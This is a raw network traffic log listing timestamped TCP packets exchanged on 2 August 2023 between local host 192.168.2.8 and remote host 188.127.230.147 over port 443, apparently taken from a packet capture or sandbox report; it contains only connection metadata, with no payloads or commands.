Aug 2, 2023 10:30:44.178188086 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178201914 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178240061 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178258896 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178277016 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178291082 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178328037 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178352118 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178370953 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178383112 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178423882 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178442955 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178442001 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178510904 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178531885 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178539991 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178553104 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178605080 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178621054 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178622961 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178668022 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178679943 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178706884 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178725004 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178726912 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178793907 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.178808928 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.178870916 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.179359913 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.179394960 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179435015 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179446936 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179528952 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179615021 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179717064 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.179738998 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179765940 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179841995 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.179958105 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.179980993 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180074930 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180093050 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180140972 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180164099 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180191994 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180232048 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180243015 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180294037 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180335045 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180351973 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180433035 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180449009 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180533886 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180557013 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.180609941 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.180643082 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.181978941 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.182005882 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.182158947 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.182652950 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.185681105 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.199794054 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.199839115 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200258017 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200484991 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200571060 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200620890 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200917959 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.200957060 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.201199055 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.201251030 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.203402996 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.203460932 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.204461098 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.226054907 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.226099014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.226197958 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.226233006 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.226264954 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.226298094 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.226315022 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.226351976 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.226382017 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.234812021 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.234849930 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.234925032 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.234954119 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.234972000 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235007048 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235318899 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235353947 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235409021 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235430002 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235456944 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235462904 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235482931 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235492945 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235517025 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235529900 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235586882 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235595942 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235646963 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235888958 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235923052 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.235979080 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.235996962 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236022949 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236066103 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236237049 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236268997 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236413956 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236413956 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236432076 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236468077 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236502886 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236556053 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236568928 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236617088 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236680031 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236707926 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236825943 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.236846924 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.236860991 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237072945 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237112999 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237162113 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237183094 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237199068 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237266064 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237299919 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237348080 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237363100 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237381935 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237474918 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237512112 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237545967 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237559080 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237588882 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237658978 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237687111 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237732887 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.237746954 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.237788916 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.238359928 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238409996 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238471031 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.238492966 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238512039 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.238563061 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238600969 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238643885 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.238657951 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238703966 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.238919973 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.238969088 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239012957 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239029884 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239053011 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239114046 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239152908 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239209890 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239228010 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239248037 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239608049 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239656925 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239710093 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239727020 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239744902 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239823103 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239861965 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239912033 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.239928007 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.239964008 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.251044035 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.257920980 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.257951975 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.258173943 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.258202076 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.258307934 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.258692980 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.258718967 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.258789062 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.258809090 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.258853912 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259015083 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259037018 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259099960 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259116888 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259134054 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259526014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259552002 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259628057 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259650946 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259665966 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259669065 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259686947 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.259927988 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.259948969 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284440041 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284497023 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284596920 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.284631014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284653902 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284683943 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.284687042 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284751892 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.284769058 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.284827948 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.293415070 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293483973 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293576956 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.293606043 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293673992 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.293710947 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293755054 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293836117 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.293848038 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.293899059 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.294162035 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294219017 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294276953 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.294297934 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294364929 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.294713974 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294759989 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294830084 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.294855118 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.294905901 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.295278072 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.295331001 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.295377970 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.295401096 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.295439005 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.295775890 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.295821905 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.295984030 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.295984030 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.296006918 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296261072 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296310902 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296366930 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.296385050 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296439886 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.296864986 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296907902 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.296994925 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.297015905 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.297035933 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.297426939 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.297477007 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.297550917 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.297569990 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.297604084 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.298000097 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298053026 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298126936 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.298147917 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298177004 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.298680067 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298729897 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298813105 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.298834085 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.298856020 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.299331903 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.299376011 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.299465895 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.299487114 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.299529076 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.299923897 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.299976110 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300050020 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.300067902 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300106049 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.300432920 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300476074 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300555944 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.300570965 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300612926 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.300940990 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.300996065 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301048040 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.301060915 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301105976 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.301405907 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301450014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301513910 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.301537991 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301594973 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.301908970 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.301960945 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.302007914 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.302020073 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.302105904 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.302395105 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.302440882 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.302504063 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.302516937 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.302532911 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.317145109 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317203999 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317265034 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.317312956 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317342043 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.317707062 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317740917 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317800045 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.317820072 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.317846060 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.318188906 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318243027 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318304062 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.318327904 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318351030 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.318546057 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318591118 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318631887 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.318650961 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318677902 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.318773031 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318847895 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.318988085 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.319046974 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343374014 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343435049 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343609095 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.343650103 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343679905 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343733072 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343806982 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.343822956 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.343899965 CEST	49700	443	192.168.2.8	188.127.230.147
Aug 2, 2023 10:30:44.361321926 CEST	443	49700	188.127.230.147	192.168.2.8
Aug 2, 2023 10:30:44.361397982 CEST	443	49700	188.127.230.147	192.168.2.8
